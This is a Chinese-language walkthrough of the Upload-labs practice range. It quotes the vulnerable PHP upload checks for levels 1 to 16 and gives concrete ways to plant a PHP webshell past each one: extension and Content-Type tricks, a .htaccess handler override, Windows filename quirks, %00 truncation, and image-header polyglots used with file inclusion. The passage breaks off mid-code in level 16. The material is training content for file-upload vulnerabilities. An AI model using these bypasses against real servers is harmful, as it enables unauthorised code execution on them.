Upload-labs通关总结

通过这个靶场再练习一下文件上传漏洞。

Pass-01(js前端验证)

在这里插入图片描述
让上传一个webshell,试试上传一个1.php,
在这里插入图片描述
该文件不允许上传,只能上传.jpg|.png|.gif类型的文件。Ctrl+u查看源码
在这里插入图片描述
。。。。。。
在这里插入图片描述
发现该题为js前端验证,在用户点击上传(submit)按钮后,会触发js事件——οnsubmit=“return checkFile()”。在checkFile()函数的定义中,lastIndexOf() 方法可返回一个指定的字符串值最后出现的位置。indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。如果要检索的字符串值没有出现,则该方法返回 -1。
substring(start,stop) 方法用于提取字符串中介于两个指定下标之间的字符。如果省略stop参数,那么返回的子串会一直到字符串的结尾。
这里就定义了一个白名单,只有在这个白名单里的文件类型才能上传,即只有这几个文件类型的能通过上传。
绕过方法:
1) 在本地浏览器客户端禁用JS即可。可使用火狐浏览器的NoScript插件、IE中禁用掉JS等方式实现。
2) 通过浏览器审查元素对网页的代码查看,找到对文件格式或大小的限制然后修改即可(加上可以上传php文件);js检测绕过主要查看onchange、onsubmit事件,onchange事件会在域的内容改变时发生 onsubmit事件会在表单的确认按钮被点击时发生;在浏览器中删除相关事件中的检测函数即可绕过检测。在这里插入图片描述
删了这个事件
在这里插入图片描述
上传成功
3) 通过Burpsuite工具对浏览器进行代理,抓包对包里的文件名进行修改。
将php文件后缀改为jpg,上传(骗过前端js),抓包,send to repeater,将包里的1.jpg改为1.php,Go一下,上传成功在这里插入图片描述
在这里插入图片描述

Pass-02(Content-Type头检测文件类型绕过)

原理:当浏览器在上传文件到服务器的时候,服务器对上传文件的Content-Type类型进行检测,如果是白名单允许的,则可以正常上传,否则上传失败。

绕过方法:
绕过Content-Type文件类型检测,就是用BurpSuite截取并修改数据包中文件的Content-Type类型(如改为:image/gif),使其符合白名单的规则,达到上传的目的。查看服务器端核心代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {     //判断上传路径是否存在,也就是说在根目录下,是否存在upload这么一个文件夹,如果自己本地搭建的话,需要创建这么一个文件夹
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {       //判断允许上传的文件类型,BP抓包可以看到,他的文件类型是application/octet-stream,将其改为上面三个中的一个就行了
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
   }

可知上传的文件类型(即Content-Type)必须是image/jpeg,image/png,或image/gif

$_FILES数组内容如下: 
$_FILES['myFile']['name'] 客户端文件的原名称。 
$_FILES['myFile']['type'] 文件的 MIME 类型(即Content-Type),需要浏览器提供该信息的支持,例如"image/gif"$_FILES['myFile']['size'] 已上传文件的大小,单位为字节。 
$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,但用 putenv() 函数设置是不起作用的。 

绕过方法
上传1.php文件,抓包,send to repeater,
在这里插入图片描述
在这里插入图片描述
上传成功
请求包中的第一个Content-type为multipart/form-data,是上传文件时使用的格式,有时候要用大小写将其绕过,即Content-type:MUltipart/form-data

Pass-03(文件后缀的判断(黑名单绕过))

文件后缀的判断(黑名单绕过)
当浏览器将文件提交到服务器端的时候,服务器端会根据设定的黑白名单对浏览器提交上来的文件扩展名进行检测,如果上传的文件扩展名不符合黑白名单的限制,则不予上传,否则上传成功。
绕过方法:
可以通过上传不受欢迎的php扩展来绕过黑名单。例如:pht,phpt,phtml,php3,php4,php5,php6,这些扩展名也是可以解析的

查看服务器端核心代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);    // 删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');  // 查找字符串在另一个字符串中最后一次出现的位置
        $file_ext = strtolower($file_ext);     // 转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);    // 去除字符串::$DATA
        $file_ext = trim($file_ext);     //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
   }

trim() 函数移除字符串两侧的空白字符或其他预定义字符。则不能在后缀名后面加空格绕过。
strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
str_ireplace() 函数替换字符串中的一些字符(不区分大小写,与str_replace相反,所以str_ireplace()不能大小写绕过)。
查看后可知,为黑名单检测,即不让上传后缀为’.asp’,’.aspx’,’.php’,’.jsp’的文件
$file_ext = strtolower($file_ext); //转换为小写,这一行使大小写绕过不能利用了

绕过方法
1) 我们用其他php别名就行了,常见的别名有:pht,phpt,phtml,php3,php4,php5,php6
这里使用的是php3后缀。上传1.php,抓包,send to repeater,修改文件后缀为1.php3,Go一下在这里插入图片描述
蚁剑访问成功
在这里插入图片描述
2) Apache解析漏洞(一定环境):将一句话木马的文件名【evil.php】,改成【evil.php.abc】(奇怪的不被解析的后缀名都行)。首先,服务器验证文件扩展名的时候,验证的是【.abc】,首先只要该扩展名符合服务器端黑白名单规则,即可上传。另外,当在浏览器端访问该文件时,Apache如果解析不了【.abc】扩展名,会向前寻找可解析的扩展名,即【.php】
3) 重写解析规则绕过

Pass-04(重写解析规则—绕过)

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。一般.htaccess可以用来留后门和针对黑名单绕过。
上传覆盖.htaccess文件,重写解析规则,将上传的带有脚本马的图片以脚本方式解析。.htaccess文件内容如下

<FilesMatch "*.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

该文件的创建:先用个txt写下其内容,再保存为.htaccess,保存类型为所有类型在这里插入图片描述
(.htaccess和一句话木马在同一目录下。)
然后再上传一个 1.jpg 此时1.jpg 就会被当作 PHP 来执行。
**通过.htaccess文件,调用php的解析器解析一个文件名包含“.jpg”这个字符串的任意文件。**即可利用菜刀等进行连接。
(上传.htaccess文件,直接可能无法上传,需要使用Burpsuite修改文件名)
查看服务器端核心代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext);     //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
    }

$file_ext = strtolower($file_ext); //转换为小写,这一行使大小写绕过不能利用了
上传之后,发现文件不允许,应该在第三题的基础上加了其他别名到黑名单了,基本上是都过滤掉了,不过没有过滤 .htaccess。.htaccess文件可以实现重写文件解析的规则。

这里简单的讲一下move_uploaded_file()这个函数

move_uploaded_file() 函数将上传的文件移动到新位置。其中的file为你前台文件上传表单的名称
第二个参数就是包含有路径的新的文件名。如:“upload/1.jpg”;
注意本函数仅用于通过 HTTP POST 上传的文件。如果目标文件已经存在,将会被覆盖。
move_uploaded_file()函数实例
使用move_uploaded_file()函数上传文件到服务器。

<?php
     $tmp_filename = $_FILES['myupload']['tmp_name'];
     if(!move_uploaded_file($tmp_filename,"/path/to/dest/{$_FILES['myupload']['name']}")) {
          echo "An error has occurred moving the uploaded file.<BR>";
          echo "Please ensure that if safe_mode is on that the " . "UID PHP is using matches the file.";
          exit;
     } else {
          echo "The file has been successfully uploaded!";
     }
?>

就像前面说的那样,第二个参数是包含路径的新的文件名,也就是说将上传的文件移动到新位置的过程中就可以给文件重命名,导致我们上传的.htaccess被重命名而不能使用了,如本题中的代码:

$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; 
if (move_uploaded_file($temp_file, $img_path))

UPLOAD_PAT即及上传路径。date()函数格式化本地日期和时间,并返回格式化的日期字符串。rand()函数。rand() 函数生成随机整数。$file_ext是该文件的扩展名。所以文件上传成功后名字变成了这样:
在这里插入图片描述
所以这道题就必须要在上传1.htaccess的时候抓包修改文件名为.htaccess,而不能直接上传已有的.htaccess文件:
在这里插入图片描述
在这里插入图片描述
这样上传的文件名是源文件名了。

Pass—05(大小写绕过)

第五关是在第四关的基础上,在黑名单里加了".htaccess",也就是说.htaccess也上传不了了,但源码中少了$file_ext = strtolower($file_ext); //转换为小写,这一行,一就是说我们可以用大小写绕过。上传info.PHP(可以直接上传1.PHP,也可以抓包改个后缀上传),上传成功,且成功访问
在这里插入图片描述

Pass—06(后缀名后面加空格来绕过)

利用windows特性后缀名后面加空格来进行绕过。windows下会自动去除后缀名后面的点和空格。

服务器核心代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写,不能大小写绕过了
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
   }

发现既不能上传.htaccess文件,也不能大小写绕过。但是发现源码中没有了$file_ext = trim($file_ext); //首尾去空所以可以在后缀名后面加空格绕过,因为windows下会自动去除后缀名后面的点和空格
上传1.php,抓包,send to repeater,在文件名1.php后面加一个空格
在这里插入图片描述

Pass—07(后缀名加点绕过)

利用windows特性后缀名加点绕过。windows下会自动去除后缀名后面的点和空格。

服务器端核心代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
   }

这一关去掉了 $file_name = deldot($file_name);//删除文件名末尾的点,没有对后缀名进行去”.”处理。
利用windows特性,会自动去掉后缀名中最后的".“和空格,可在后缀名中加”."绕过,具体操作跟上一关一样,抓包,文件名后缀加点,Go。

Pass—08(后缀名中加” ::$DATA”绕过)

后缀名中加“ ::$DATA ”绕过

服务器端核心代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
   }

发现代码中少了$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA
::$DATA是windows上的一个文件流特性,必须在windows上,且是php文件,源文件的时候文件名中加上::$DATA,windows会把::$DATA之后的数据当作文件流来处理不会检测后缀名。且保持"::$DATA"之前的文件名。即他的目的就是不检查后缀名…
利用windows特性,可在后缀名中加“ ::$DATA ”绕过:
在这里插入图片描述
上传成功
这里上传成功之后,在upload目录下的文件名会自动的去掉了::$data,之后直接访问php就行了,然后菜刀连接……

Pass—09(利用函数执行依次来绕过)

(点 空格 点)绕过
服务器端核心代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
   }

$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path))上传后的文件名竟然为原文件名。
黑名单过滤,.htaccess利用不了,大小写绕过失效,文件名后缀只加一个点或加空格失效。那么咋办呢。。。
仔细看看代码执行的过程:

$file_name = trim($_FILES['upload_file']['name']);    //首尾去空
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

从上到下,对扩展名的处理依次是trim去两边的空格,deldot去掉点,转为小写,去掉::$DATA,首尾去空格,而且上传时路径拼接的是$file_name(原文件名),利用代码执行的一个漏洞,可以一个函数一个函数的从上往下进行绕过,故可以构造1.php. .(点空格点)绕过,上传后,deldot先删除掉文件名最后一个".",再由trim出去空格,最后剩下了1.php.,结合Windows特性会自动去掉后缀的“.” 、“空格”和“::$DATA”,就变成了1.php,即可上传成功。

Pass-10(str_ireplace绕过)

双写绕过替换规则

服务器端核心代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);  
        $file_name = str_ireplace($deny_ext,"", $file_name);   //去掉文件名中在黑名单里出现过的后缀,这里只进行了一次的检验,也就是说可以通过双写进行绕过
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
  }

在文件上传那一块学过str_ireplace(find,replace,string,count)函数替换字符串中的一些字符(不区分大小写)。如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。上面代码中的一顿操作是,在上传的文件原名中,查找是否有包含在黑名单($deny_ext)中的,有的话就替换为空。对str_ireplace()函数的绕过可以用双写绕过替换规则
上传文件1.php,抓包,修改文件名为1.pphphp,这样str_ireplace将后缀中的php删除了,但两边的"p"和"hp"拼起来又是一个“php”了
在这里插入图片描述
上传成功

Pass—11(GET的%00截断)

%00截断(11关,12关)

白名单绕过用00截断(用来绕过白名单检查)
截断的产生核心,就是chr(0)字符 。这个字符既不为空(Null),也不是空字符(""),更不是空格!当程序在输出含有chr(0)变量时,chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致漏洞产生的原因。

一、php 00截断
在php 5.3.4中php修复了0字符,但是在之前的版本中00在php中危害较大。简单测试一下(php 版本<5.3.4)

<?php
$data = $_GET["filename"]`;   //假设只让上传txt
echo $data;
?>

url中输入xx.php?filename=test.php%00.txt,实际输出为test.php.
常见利用方法:
1.上传时路径可控,使用00截断
2.文件下载时,00截断绕过白名单检查
3.文件包含时,00截断后面限制(主要是本地包含时)
4.其它与文件操作有关的地方都可能使用00截断。
好,回来

服务器端核心代码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');     //白名单
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
        //保存的时候,文件名是拼接的
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
  }

substr(string,start,length)函数返回字符串的一部分。strrpos() 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);也就是截取了文件名后缀。代码也是像一二关那样对后缀进行白名单判断,只允许jpg/png/gif后缀的文件上传。但是在后面的保存的时候,文件名是拼接的但看到$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;前面的save_path是用get请求到的,所以说前面是可控的
在这里插入图片描述
这时候就可以使用00截断进行尝试
上传1.jpg,先绕过白名单
在这里插入图片描述
这样就$img_path =/upload/1.php%00/.rand(10, 99).date("YmdHis").".".$file_ext;,由于00截断,%00后面的全部忽略,就只剩下$img_path =/upload/1.php,并且1.jpg被保存为了1.php
上传成功。。。。。。

Pass—12(POST的%00截断)

GET传参的时候,会自动进行URL解码,POST不会。

服务器端核心代码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');  //白名单
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
  }

和十一关不同的是这次的save_path是通过post传进来的,还是利用00截断,但这次需要在Hex中进行修改,因为post不会像GET那样对%00进行自动url解码
在这里插入图片描述
上传1.jpg先绕过白名单限制,抓包(看到红框里POST过去的路径为/upload/),
在这里插入图片描述
在红框处修改,加上1.php%00(这里在php的后面添加了一个%00,其实这个%00写不写都可以,这里加%00是为了占位,显示修改的位置。空格是为了占位,方便修改00。)
在这里插入图片描述
将%00的hex值改成00 00 00
在这里插入图片描述
Forward。上传成功。成功访问
在这里插入图片描述

Pass—13(文件头检测,图片马文件包含)

PHP读取二进制文件头快速判断文件类型

服务器端核心代码

//php 根据文件内容来判断文件类型
function getReailFileType($filename){
    $file = fopen($filename, "rb");      //以二进制格式打开
    $bin = fread($file, 2); //只读取文件的前2个字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
//pcak函数是将对应参数打包成二进制字符串,uppack($format,$data)就是进行解包,format是解包时使用的数据格式,C是无符号字符
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
 }

pack ( string $format [, mixed $args [, mixed $... ]] )该函数用来将对应的参数($args)打包成二进制字符串。unpack(format,data)函数从二进制字符串对数据进行解包。format必需。规定在解包数据时所使用的格式。data必需。规定被解包的二进制数据。intval() 函数用于获取变量的整数值。
发现代码通过读文件的前2个字节(文件头)判断文件类型

/*文件扩展名说明
  *7173         gif
  *255216       jpg
  *13780        png
  *6677         bmp
  *239187       txt,aspx,asp,sql
  *208207       xls.doc.ppt
  *6063         xml
  *6033         htm,html
  *4742         js
  *8075         xlsx,zip,pptx,mmap,zip
  *8297         rar 
  *01           accdb,mdb
  *7790         exe,dll         
  *5666         psd
  *255254       rdp
  *10056        bt种子
  *64101        bat
 */
   /*PHP取二进制文件头快速判断文件类型*/

服务端检测文件头并将上传文件的后缀重命名为检测到的文件类型关于服务端检测文件头,只有图片才能上传。

漏洞利用:
先制作图片马,制作方法:copy normal.jpg /b + 1.php /a webshell.jpg,成功上传图片马
在这里插入图片描述
但是图片马上传成功之后,还不能直接用菜刀访问到
还要借助文件包含漏洞访问已上传的图片马
在这里插入图片描述
发现里面的PHP代码不见了,说明已经被执行了
这里我们利用文件包含才能连上菜刀,所以我们可以利用文件包含漏洞。
在这里插入图片描述
地址栏中输入http://www.uploadlabs.com/include.php?file=upload/7920200210060334.png
连接webshell成功:
在这里插入图片描述

我们还有个方法,就是把php马用记事本打开,开头加上gif的文件头GIF89a,在把后缀改为gif
在这里插入图片描述
这样对文件头的检测就过关了
在这里插入图片描述

Pass—14(文件头检测,图片马文件包含)

getimagesize()函数读取文件头检测是否为图片

服务器端核心代码

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);         //读取文件头,返回图片的长、宽等信息,成功返回一个数组索引 2 给出的是**图像的类型**
        $ext = image_type_to_extension($info[2]);   //根据指定的图像类型返回对应的后缀名
        if(stripos($types,$ext)>=0){       //获取的后缀是否在白名单里
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
 }

getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,成功返回一个数组,如果没有相关的图片文件头,函数会报错。
在这里插入图片描述
返回结果说明
索引 0 给出的是图像
宽度
的像素值
索引 1 给出的是图像高度的像素值
索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 <image> 标签

所以这个函数要求必须上传图片。
image_type_to_extension ( int $imagetype [, bool $include_dot = TRUE ] ) — 根据指定的图像类型返回对应的后缀名。根据给定的常量 IMAGETYPE_XXX 返回后缀名。
参数:imagetype是IMAGETYPE_XXX 系列常量之一。include_dot指定是否在后缀名前加一个点。默认是 TRUE。
漏洞利用
和上一关的方法一样,先制作图片马,上传,再用文件包含连菜刀
。。。。。。

Pass—15(文件头检测,图片马文件包含)

php_exif模块检测

服务器端核心代码

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
 }

**exif_imagetype ( string $filename )**判断一个图像的类型,读取一个图像的第一个字节并检查其签名
如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE。返回值和 getimagesize() 返回的数组中的索引 2 的值是一样的,但本函数快得多。
在这里插入图片描述
这题和上面两个图片马的题一样,也是检查了文件的文件头格式这里使用的是exif_imagetype函数来判断方法个上面一样,制作图片马,文件包含连菜刀。就不多说了。。。。。。

Pass—16(二次渲染绕过)

二次渲染

**二次渲染:**就是根据用户上传的图片,新生成一个图片,将原始图片删除,将新图片添加到数据库中。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。
服务器端核心代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];      //Content-Type
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);      //basename() 函数返回路径中的文件名部分。这里最后以原文件名保存了文件

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);       //strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){     //判断文件后缀和Content-Type
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);     //imagecreatefromjpeg() — 由jpg文件或 URL 创建一个新图象。成功则返回一图像标识符,代表了从给定的文件名取得的图像。失败返回false,即不是jpg

